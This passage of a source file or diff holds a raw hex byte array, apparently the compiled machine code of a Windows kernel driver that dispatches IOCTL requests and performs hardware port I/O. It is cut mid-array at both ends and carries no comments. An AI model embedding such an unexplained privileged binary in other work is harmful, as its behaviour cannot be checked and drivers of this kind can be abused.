0x00, 0x48, 0x8B, 0x5E, - 0x04, 0x48, 0x83, 0xE3, 0xFF, 0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x48, 0x8B, 0x4E, 0x08, 0x48, 0x83, 0xE1, 0xFF, 0x48, - 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x56, - 0x0C, 0x48, 0x83, 0xE2, 0xFF, 0x48, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x48, 0x8B, 0x7E, 0x14, 0x48, 0x83, 0xE7, 0xFF, 0x48, - 0xBD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x6E, - 0x18, 0x48, 0x83, 0xE5, 0xFF, 0x48, 0x8B, 0x76, 0x10, 0x48, 0x83, 0xE6, - 0xFF, 0xEE, 0xE6, 0xEB, 0xE6, 0xEB, 0xE6, 0xEB, 0xE6, 0xEB, 0x89, 0x35, - 0x74, 0x3E, 0x00, 0x00, 0x5E, 0x50, 0x9C, 0x58, 0x48, 0x83, 0xE0, 0xFF, - 0x88, 0x46, 0x1C, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x1D, 0x48, 0xC1, - 0xE8, 0x08, 0x88, 0x46, 0x1E, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x1F, - 0x58, 0x88, 0x06, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x01, 0x48, 0xC1, - 0xE8, 0x08, 0x88, 0x46, 0x02, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x03, - 0x88, 0x5E, 0x04, 0x48, 0xC1, 0xEB, 0x08, 0x88, 0x5E, 0x05, 0x48, 0xC1, - 0xEB, 0x08, 0x88, 0x5E, 0x06, 0x48, 0xC1, 0xEB, 0x08, 0x88, 0x5E, 0x07, - 0x88, 0x4E, 0x08, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x09, 0x48, 0xC1, - 0xE9, 0x08, 0x88, 0x4E, 0x0A, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x0B, - 0x88, 0x56, 0x0C, 0x48, 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x0D, 0x48, 0xC1, - 0xEA, 0x08, 0x88, 0x56, 0x0E, 0x48, 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x0F, - 0x8B, 0x15, 0xEE, 0x3D, 0x00, 0x00, 0x88, 0x56, 0x10, 0x48, 0xC1, 0xEA, - 0x08, 0x88, 0x56, 0x11, 0x48, 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x12, 0x48, - 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x13, 0x8B, 0xCF, 0x88, 0x4E, 0x14, 0x48, - 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x15, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, - 0x16, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x17, 0x5F, 0x5E, 0x5B, 0x58, - 0x5A, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x18, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x55, 0x48, 0x8B, 0xEC, 0x48, 0x83, - 0xEC, 0x60, 0x48, 0x8B, 0x05, 0x9F, 0x3D, 0x00, 0x00, 0x48, 0x33, 0xC4, - 0x48, 0x89, 0x45, 0xF8, 0x41, 0x83, 0x78, 0x10, 0x34, 0x48, 0x8B, 0xFA, - 0x0F, 0x85, 0x96, 0x00, 0x00, 0x00, 0x41, 0x83, 0x78, 0x08, 0x34, 0x0F, - 0x85, 0x8B, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x49, 0x40, 0x48, 0x83, 0x62, - 0x38, 0x00, 0x48, 0x8B, 0x5A, 0x18, 0x48, 0x8D, 0x55, 0xC0, 0xFF, 0x15, - 0x70, 0x2D, 0x00, 0x00, 0x83, 0x65, 0xDC, 0x00, 0x83, 0x65, 0xE0, 0x00, - 0x83, 0x65, 0xE4, 0x00, 0x83, 0x65, 0xE8, 0x00, 0x83, 0x65, 0xEC, 0x00, - 0x83, 0x65, 0xF0, 0x00, 0x83, 0x65, 0xF4, 0x00, 0xC7, 0x45, 0xD8, 0x3E, - 0x11, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x16, 0x89, 0x45, 0xDC, 0x0F, 0xB7, - 0x4B, 0x12, 0x0F, 0xB7, 0x43, 0x10, 0x03, 0xC8, 0x89, 0x4D, 0xE0, 0x48, - 0x8D, 0x4D, 0xD8, 0x0F, 0xB7, 0x03, 0x89, 0x45, 0xE4, 0xE8, 0x1A, 0xFE, - 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, 0x28, 0x2D, 0x00, 0x00, - 0xF7, 0x45, 0xD8, 0x00, 0xFF, 0x00, 0x00, 0x75, 0x14, 0x0F, 0xB7, 0x45, - 0xE8, 0x66, 0x89, 0x43, 0x16, 0x33, 0xC0, 0x48, 0xC7, 0x47, 0x38, 0x34, - 0x00, 0x00, 0x00, 0xEB, 0x0C, 0xB8, 0x01, 0x00, 0x00, 0xC0, 0xEB, 0x05, - 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, - 0xE8, 0x1B, 0x1B, 0x00, 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, - 0x5B, 0x20, 0x49, 0x8B, 0x7B, 0x28, 0x49, 0x8B, 0xE3, 0x5D, 0xC3, 0xCC, - 0x48, 0x89, 0x5C, 0x24, 0x18, 0x55, 0x56, 0x57, 0x48, 0x8B, 0xEC, 0x48, - 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xBA, 0x3C, 0x00, 0x00, 0x48, 0x33, - 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x48, 0x8B, 0xF1, 0x49, 0x8B, 0xD8, 0x48, - 0x8D, 0x0D, 0xDE, 0x23, 0x00, 0x00, 0x48, 0x8B, 0xFA, 0xE8, 0x1E, 0x1B, - 0x00, 0x00, 0x83, 0x7B, 0x10, 0x34, 0x75, 0x7B, 0x83, 0x7B, 0x08, 0x34, - 0x75, 0x75, 0x48, 0x8B, 0x4E, 0x40, 0x48, 0x8D, 0x55, 0xC0, 0x48, 0x8B, - 0x5F, 0x18, 0x33, 0xF6, 0x48, 0x89, 0x77, 0x38, 0xFF, 0x15, 0x82, 0x2C, - 0x00, 0x00, 0x48, 0x89, 0x75, 0xDC, 0x48, 0x89, 0x75, 0xE4, 0x48, 0x89, - 0x75, 0xEC, 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, 0x00, 0x00, - 0x0F, 0xB7, 0x43, 0x16, 0x89, 0x45, 0xDC, 0x0F, 0xB7, 0x4B, 0x12, 0x0F, - 0xB7, 0x43, 0x10, 0x03, 0xC8, 0x89, 0x4D, 0xE0, 0x48, 0x8D, 0x4D, 0xD8, - 0x0F, 0xB7, 0x03, 0x89, 0x45, 0xE4, 0x0F, 0xB7, 0x43, 0x14, 0x89, 0x45, - 0xE8, 0xE8, 0x32, 0xFD, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, - 0x40, 0x2C, 0x00, 0x00, 0x8B, 0x45, 0xD8, 0x25, 0x00, 0xFF, 0x00, 0x00, - 0xF7, 0xD8, 0x1B, 0xC0, 0x25, 0x01, 0x00, 0x00, 0xC0, 0xEB, 0x05, 0xB8, - 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, 0xE8, - 0x44, 0x1A, 0x00, 0x00, 0x48, 0x8B, 0x9C, 0x24, 0x90, 0x00, 0x00, 0x00, - 0x48, 0x83, 0xC4, 0x60, 0x5F, 0x5E, 0x5D, 0xC3, 0x48, 0x89, 0x5C, 0x24, - 0x18, 0x48, 0x89, 0x74, 0x24, 0x20, 0x55, 0x57, 0x41, 0x56, 0x48, 0x8B, - 0xEC, 0x48, 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xE0, 0x3B, 0x00, 0x00, - 0x48, 0x33, 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x48, 0x8B, 0xF9, 0x49, 0x8B, - 0xD8, 0x48, 0x8D, 0x0D, 0xE4, 0x22, 0x00, 0x00, 0x48, 0x8B, 0xF2, 0xE8, - 0x44, 0x1A, 0x00, 0x00, 0x83, 0x7B, 0x10, 0x34, 0x0F, 0x85, 0x38, 0x01, - 0x00, 0x00, 0x83, 0x7B, 0x08, 0x34, 0x0F, 0x85, 0x2E, 0x01, 0x00, 0x00, - 0x48, 0x8B, 0x4F, 0x40, 0x48, 0x8D, 0x55, 0xC0, 0x48, 0x8B, 0x7E, 0x18, - 0x45, 0x33, 0xF6, 0x4C, 0x89, 0x76, 0x38, 0xFF, 0x15, 0x9F, 0x2B, 0x00, - 0x00, 0x4C, 0x89, 0x75, 0xE0, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x75, - 0xE8, 0x4C, 0x89, 0x75, 0xF0, 0x48, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, - 0x00, 0x0F, 0xB7, 0x07, 0x89, 0x45, 0xE4, 0xE8, 0x6C, 0xFC, 0xFF, 0xFF, - 0xBA, 0x00, 0xFF, 0x00, 0x00, 0x85, 0x55, 0xD8, 0x74, 0x14, 0x48, 0x8D, - 0x4D, 0xC0, 0xFF, 0x15, 0x70, 0x2B, 0x00, 0x00, 0xB8, 0x01, 0x00, 0x00, - 0xC0, 0xE9, 0xD9, 0x00, 0x00, 0x00, 0x8B, 0x4D, 0xE0, 0x8B, 0xC1, 0x0B, - 0xC2, 0x81, 0xC9, 0xFF, 0x00, 0x00, 0x00, 0xC1, 0xE8, 0x08, 0x3B, 0xC1, - 0x77, 0xD8, 0x4C, 0x89, 0x75, 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, - 0x75, 0xEC, 0xBB, 0x01, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5D, 0xDC, 0x44, - 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0x0F, 0xB7, - 0x07, 0x89, 0x45, 0xE4, 0xE8, 0x0F, 0xFC, 0xFF, 0xFF, 0x8B, 0x45, 0xE8, - 0x83, 0xE0, 0x05, 0x83, 0xF8, 0x05, 0x74, 0x3D, 0x4C, 0x89, 0x75, 0xE4, - 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x75, 0xEC, 0xBB, 0x02, 0x00, 0x00, - 0x00, 0x48, 0x89, 0x5D, 0xDC, 0x44, 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, - 0x3E, 0x11, 0x00, 0x00, 0x0F, 0xB7, 0x07, 0x89, 0x45, 0xE4, 0xE8, 0xD9, - 0xFB, 0xFF, 0xFF, 0x8B, 0x45, 0xE8, 0x83, 0xE0, 0x05, 0x89, 0x45, 0xE8, - 0x83, 0xF8, 0x05, 0x0F, 0x85, 0x65, 0xFF, 0xFF, 0xFF, 0x4C, 0x89, 0x75, - 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x0F, 0xB7, 0xC3, 0x89, 0x45, 0xDC, 0x4C, - 0x89, 0x75, 0xEC, 0x44, 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, - 0x00, 0x00, 0x44, 0x89, 0x75, 0xE0, 0x0F, 0xB7, 0x07, 0x89, 0x45, 0xE4, - 0xC7, 0x45, 0xE8, 0x07, 0x00, 0x00, 0x00, 0xE8, 0x94, 0xFB, 0xFF, 0xFF, - 0x48, 0x8D, 0x4D, 0xC0, 0x66, 0x89, 0x5F, 0x16, 0xFF, 0x15, 0x9E, 0x2A, - 0x00, 0x00, 0x33, 0xC0, 0x48, 0xC7, 0x46, 0x38, 0x34, 0x00, 0x00, 0x00, - 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, - 0x33, 0xCC, 0xE8, 0xA9, 0x18, 0x00, 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, - 0x49, 0x8B, 0x5B, 0x30, 0x49, 0x8B, 0x73, 0x38, 0x49, 0x8B, 0xE3, 0x41, - 0x5E, 0x5F, 0x5D, 0xC3, 0x48, 0x89, 0x5C, 0x24, 0x18, 0x48, 0x89, 0x74, - 0x24, 0x20, 0x55, 0x57, 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8B, - 0xEC, 0x48, 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0x3C, 0x3A, 0x00, 0x00, - 0x48, 0x33, 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x45, 0x33, 0xFF, 0x41, 0x83, - 0x78, 0x10, 0x34, 0x41, 0x0F, 0xB7, 0xFF, 0x0F, 0x85, 0x13, 0x01, 0x00, - 0x00, 0x41, 0x83, 0x78, 0x08, 0x34, 0x0F, 0x85, 0x08, 0x01, 0x00, 0x00, - 0x48, 0x8B, 0x49, 0x40, 0x4C, 0x8B, 0x72, 0x18, 0x4C, 0x89, 0x7A, 0x38, - 0x48, 0x8D, 0x55, 0xC0, 0xFF, 0x15, 0x0A, 0x2A, 0x00, 0x00, 0x4C, 0x89, - 0x7D, 0xD8, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x7D, 0xE0, 0x4C, 0x89, - 0x7D, 0xE8, 0x4C, 0x89, 0x7D, 0xF0, 0x41, 0x0F, 0xB7, 0x06, 0x89, 0x45, - 0xE4, 0x48, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0xE8, 0xD2, 0xFA, - 0xFF, 0xFF, 0xB8, 0x00, 0xFF, 0x00, 0x00, 0x66, 0x85, 0x45, 0xD8, 0x74, - 0x14, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, 0xD5, 0x29, 0x00, 0x00, 0xB8, - 0x01, 0x00, 0x00, 0xC0, 0xE9, 0xB0, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x75, - 0xE0, 0x85, 0xF6, 0x74, 0xE4, 0x41, 0xBC, 0x01, 0x00, 0x00, 0x00, 0x41, - 0x0F, 0xB7, 0xDC, 0x0F, 0xB7, 0xC3, 0x3B, 0xC6, 0x77, 0x48, 0x4C, 0x89, - 0x7D, 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x7D, 0xEC, 0x44, 0x89, - 0x7D, 0xF4, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0x89, 0x45, 0xDC, - 0x44, 0x89, 0x7D, 0xE0, 0x41, 0x0F, 0xB7, 0x06, 0x89, 0x45, 0xE4, 0xE8, - 0x70, 0xFA, 0xFF, 0xFF, 0x0F, 0xB7, 0x45, 0xE8, 0xB9, 0xFD, 0xFF, 0x00, - 0x00, 0x66, 0x83, 0xE8, 0x09, 0x66, 0x85, 0xC1, 0x75, 0x03, 0x41, 0x8B, - 0xFC, 0x66, 0x41, 0x03, 0xDC, 0x66, 0x85, 0xFF, 0x74, 0xB1, 0x66, 0x85, - 0xFF, 0x74, 0x37, 0x4C, 0x89, 0x7D, 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x0F, - 0xB7, 0xC3, 0x41, 0x2B, 0xC4, 0x4C, 0x89, 0x7D, 0xEC, 0x89, 0x45, 0xDC, - 0x44, 0x89, 0x7D, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, 0x00, 0x00, 0x44, - 0x89, 0x7D, 0xE0, 0x41, 0x0F, 0xB7, 0x06, 0x89, 0x45, 0xE4, 0xC7, 0x45, - 0xE8, 0x0B, 0x00, 0x00, 0x00, 0xE8, 0x16, 0xFA, 0xFF, 0xFF, 0x48, 0x8D, - 0x4D, 0xC0, 0xFF, 0x15, 0x24, 0x29, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, - 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, - 0xE8, 0x37, 0x17, 0x00, 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, - 0x5B, 0x40, 0x49, 0x8B, 0x73, 0x48, 0x49, 0x8B, 0xE3, 0x41, 0x5F, 0x41, - 0x5E, 0x41, 0x5C, 0x5F, 0x5D, 0xC3, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, - 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0x4C, 0x8D, 0x4C, 0x24, 0x40, 0x4C, 0x8B, - 0xC1, 0xBA, 0x50, 0xC3, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0xFF, 0x1C, 0x00, - 0x00, 0xE8, 0x36, 0x02, 0x00, 0x00, 0x85, 0xC0, 0x78, 0x36, 0x48, 0x8B, - 0x54, 0x24, 0x40, 0x48, 0x8D, 0x0D, 0xCA, 0x02, 0x00, 0x00, 0x4C, 0x8B, - 0x42, 0x40, 0x49, 0x83, 0x60, 0x18, 0x00, 0x49, 0x89, 0x50, 0x10, 0x48, - 0x89, 0x4B, 0x70, 0x48, 0x89, 0x8B, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, - 0x8B, 0xE0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x48, 0x0B, 0x00, 0x00, - 0x48, 0x89, 0x4B, 0x68, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0xCC, - 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, - 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x7A, 0x18, 0x48, 0x8D, 0x0D, 0xBE, 0x21, - 0x00, 0x00, 0x48, 0x83, 0x62, 0x38, 0x00, 0x48, 0x8B, 0xF2, 0x8B, 0x1F, - 0x8B, 0xD3, 0xE8, 0xD5, 0x16, 0x00, 0x00, 0x48, 0x8B, 0xD7, 0x8B, 0xCB, - 0xE8, 0x1B, 0x11, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x08, 0x48, 0xC7, 0x46, - 0x38, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x33, 0xC0, - 0x48, 0x8B, 0x74, 0x24, 0x38, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, - 0x48, 0x83, 0xEC, 0x28, 0x41, 0x8B, 0x40, 0x10, 0x48, 0x83, 0x62, 0x38, - 0x00, 0x48, 0x8B, 0x4A, 0x18, 0x83, 0xF8, 0x04, 0x73, 0x13, 0x48, 0x8D, - 0x0D, 0x87, 0x21, 0x00, 0x00, 0xE8, 0x8A, 0x16, 0x00, 0x00, 0xB8, 0x9A, - 0x00, 0x00, 0xC0, 0xEB, 0x13, 0x48, 0x8B, 0x09, 0xE8, 0x2F, 0x11, 0x00, - 0x00, 0xF6, 0xD8, 0x1B, 0xC0, 0xF7, 0xD0, 0x25, 0x0D, 0x00, 0x00, 0xC0, - 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x48, 0x89, 0x7C, 0x24, 0x18, 0x41, - 0x56, 0x48, 0x83, 0xEC, 0x20, 0x4C, 0x8B, 0x72, 0x18, 0x48, 0x8D, 0x0D, - 0x80, 0x21, 0x00, 0x00, 0x48, 0x8B, 0xF2, 0x33, 0xFF, 0x48, 0x89, 0x7A, - 0x38, 0x49, 0x8B, 0x1E, 0x48, 0x8B, 0xD3, 0xE8, 0x34, 0x16, 0x00, 0x00, - 0x48, 0x8B, 0xCB, 0xE8, 0x20, 0x11, 0x00, 0x00, 0x8B, 0xD8, 0x85, 0xC0, - 0x74, 0x1B, 0x8B, 0xD0, 0x48, 0x8D, 0x0D, 0x65, 0x21, 0x00, 0x00, 0xE8, - 0x18, 0x16, 0x00, 0x00, 0x41, 0x89, 0x1E, 0x48, 0xC7, 0x46, 0x38, 0x04, - 0x00, 0x00, 0x00, 0xEB, 0x05, 0xBF, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, - 0x5C, 0x24, 0x30, 0x8B, 0xC7, 0x48, 0x8B, 0x7C, 0x24, 0x40, 0x48, 0x8B, - 0x74, 0x24, 0x38, 0x48, 0x83, 0xC4, 0x20, 0x41, 0x5E, 0xC3, 0xCC, 0xCC, - 0x48, 0x89, 0x5C, 0x24, 0x18, 0x55, 0x56, 0x57, 0x48, 0x8B, 0xEC, 0x48, - 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0x56, 0x37, 0x00, 0x00, 0x48, 0x33, - 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x41, 0x83, 0x78, 0x10, 0x34, 0x48, 0x8B, - 0xFA, 0x0F, 0x85, 0x92, 0x00, 0x00, 0x00, 0x41, 0x83, 0x78, 0x08, 0x34, - 0x0F, 0x85, 0x87, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x49, 0x40, 0x33, 0xF6, - 0x48, 0x8B, 0x5A, 0x18, 0x48, 0x89, 0x72, 0x38, 0x48, 0x8D, 0x55, 0xC0, - 0xFF, 0x15, 0x26, 0x27, 0x00, 0x00, 0x48, 0x89, 0x75, 0xDC, 0x48, 0x8D, - 0x4D, 0xD8, 0x48, 0x89, 0x75, 0xE4, 0x48, 0x89, 0x75, 0xEC, 0x89, 0x75, - 0xF4, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x16, - 0x89, 0x45, 0xDC, 0xC7, 0x45, 0xE0, 0x06, 0x00, 0x00, 0x00, 0x0F, 0xB7, - 0x03, 0x89, 0x45, 0xE4, 0xE8, 0xE3, 0xF7, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, - 0xC0, 0xFF, 0x15, 0xF1, 0x26, 0x00, 0x00, 0x0F, 0xB7, 0x45, 0xE8, 0xB9, - 0x00, 0xFF, 0x00, 0x00, 0x66, 0x85, 0x4D, 0xD8, 0x75, 0x0A, 0x66, 0x89, - 0x73, 0x0C, 0x66, 0x89, 0x43, 0x14, 0xEB, 0x0D, 0xB8, 0x00, 0x01, 0x00, - 0x00, 0x66, 0x89, 0x73, 0x14, 0x66, 0x89, 0x43, 0x0C, 0x48, 0xC7, 0x47, - 0x38, 0x34, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, - 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, 0xE8, 0xD6, 0x14, - 0x00, 0x00, 0x48, 0x8B, 0x9C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x83, - 0xC4, 0x60, 0x5F, 0x5E, 0x5D, 0xC3, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x60, 0x8B, - 0xDA, 0x49, 0x8B, 0xF1, 0x48, 0x8B, 0xD1, 0x49, 0x8B, 0xF8, 0x48, 0x8D, - 0x4C, 0x24, 0x40, 0xFF, 0x15, 0x47, 0x27, 0x00, 0x00, 0x44, 0x8B, 0xCB, - 0x48, 0x89, 0x74, 0x24, 0x30, 0xBB, 0x20, 0x00, 0x00, 0x00, 0xC6, 0x44, - 0x24, 0x28, 0x00, 0x83, 0x64, 0x24, 0x20, 0x00, 0x4C, 0x8D, 0x44, 0x24, - 0x40, 0x8B, 0xD3, 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0x18, 0x27, 0x00, 0x00, - 0x85, 0xC0, 0x78, 0x44, 0x48, 0x8B, 0x0E, 0x44, 0x8B, 0xC3, 0x33, 0xD2, - 0x48, 0x8B, 0x49, 0x40, 0xE8, 0x63, 0x19, 0x00, 0x00, 0x48, 0x8D, 0x15, - 0x7C, 0x1A, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x50, 0xFF, 0x15, 0xF9, - 0x26, 0x00, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x40, 0x48, 0x8D, 0x4C, 0x24, - 0x50, 0xFF, 0x15, 0x81, 0x26, 0x00, 0x00, 0x8B, 0xD8, 0x85, 0xC0, 0x79, - 0x09, 0x48, 0x8B, 0x0E, 0xFF, 0x15, 0x7A, 0x26, 0x00, 0x00, 0x8B, 0xC3, - 0x48, 0x8B, 0x5C, 0x24, 0x70, 0x48, 0x8B, 0x74, 0x24, 0x78, 0x48, 0x83, - 0xC4, 0x60, 0x5F, 0xC3, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, - 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, - 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x83, 0x62, - 0x38, 0x00, 0x48, 0x8B, 0xE9, 0x48, 0x8B, 0xB2, 0xB8, 0x00, 0x00, 0x00, - 0x48, 0x8B, 0xFA, 0x4C, 0x8B, 0x71, 0x40, 0xBB, 0x02, 0x00, 0x00, 0xC0, - 0x4C, 0x8B, 0x7A, 0x18, 0x8A, 0x06, 0x44, 0x8B, 0x66, 0x10, 0x8B, 0x4E, - 0x08, 0xA8, 0xFD, 0x0F, 0x84, 0x21, 0x03, 0x00, 0x00, 0x3C, 0x0E, 0x0F, - 0x85, 0x1B, 0x03, 0x00, 0x00, 0x44, 0x8B, 0x46, 0x18, 0xB8, 0x00, 0x28, - 0x50, 0xC3, 0x44, 0x3B, 0xC0, 0x0F, 0x87, 0x21, 0x02, 0x00, 0x00, 0x0F, - 0x84, 0xF2, 0x01, 0x00, 0x00, 0xB8, 0x68, 0x0E, 0x50, 0xC3, 0x44, 0x3B, - 0xC0, 0x0F, 0x87, 0xB4, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x9E, 0x00, 0x00, - 0x00, 0x41, 0x81, 0xF8, 0x50, 0x0E, 0x50, 0xC3, 0x0F, 0x84, 0x81, 0x00, - 0x00, 0x00, 0x41, 0x81, 0xF8, 0x54, 0x0E, 0x50, 0xC3, 0x74, 0x68, 0x41, - 0x81, 0xF8, 0x58, 0x0E, 0x50, 0xC3, 0x74, 0x4F, 0x41, 0x81, 0xF8, 0x5C, - 0x0E, 0x50, 0xC3, 0x74, 0x36, 0x41, 0x81, 0xF8, 0x60, 0x0E, 0x50, 0xC3, - 0x74, 0x1D, 0x41, 0x81, 0xF8, 0x64, 0x0E, 0x50, 0xC3, 0x0F, 0x85, 0xB1, - 0x02, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0x4E, 0xF8, - 0xFF, 0xFF, 0xE9, 0x1E, 0x02, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, - 0xCD, 0xE8, 0x56, 0xF7, 0xFF, 0xFF, 0xE9, 0x0E, 0x02, 0x00, 0x00, 0x4C, - 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0x92, 0xFD, 0xFF, 0xFF, 0xE9, 0xFE, - 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0xF2, 0xF8, - 0xFF, 0xFF, 0xE9, 0xEE, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, - 0xCD, 0xE8, 0x82, 0xFA, 0xFF, 0xFF, 0xE9, 0xDE, 0x01, 0x00, 0x00, 0x4C, - 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0x96, 0x09, 0x00, 0x00, 0xE9, 0xCE, - 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0xCA, 0x0E, - 0x00, 0x00, 0xE9, 0xBE, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF8, 0x6C, 0x0E, - 0x50, 0xC3, 0x0F, 0x84, 0x13, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF8, 0x70, - 0x0E, 0x50, 0xC3, 0x0F, 0x84, 0xE1, 0x00, 0x00, 0x00, 0x41, 0x81, 0xF8, - 0x00, 0x20, 0x50, 0xC3, 0x0F, 0x84, 0xC1, 0x00, 0x00, 0x00, 0x41, 0x81, - 0xF8, 0x04, 0x20, 0x50, 0xC3, 0x74, 0x6B, 0x41, 0x81, 0xF8, 0x08, 0x20, - 0x50, 0xC3, 0x74, 0x20, 0x41, 0x81, 0xF8, 0x80, 0x25, 0x50, 0xC3, 0x0F, - 0x85, 0xFB, 0x01, 0x00, 0x00, 0x45, 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, - 0x8B, 0xC6, 0xE8, 0xA9, 0x07, 0x00, 0x00, 0xE9, 0x65, 0x01, 0x00, 0x00, - 0xBE, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x4C, 0x19, 0x00, 0x00, - 0x44, 0x8B, 0xC6, 0x41, 0x8B, 0xD4, 0xE8, 0xC9, 0x12, 0x00, 0x00, 0x44, - 0x3B, 0xE6, 0x72, 0x18, 0x49, 0x8B, 0x17, 0x48, 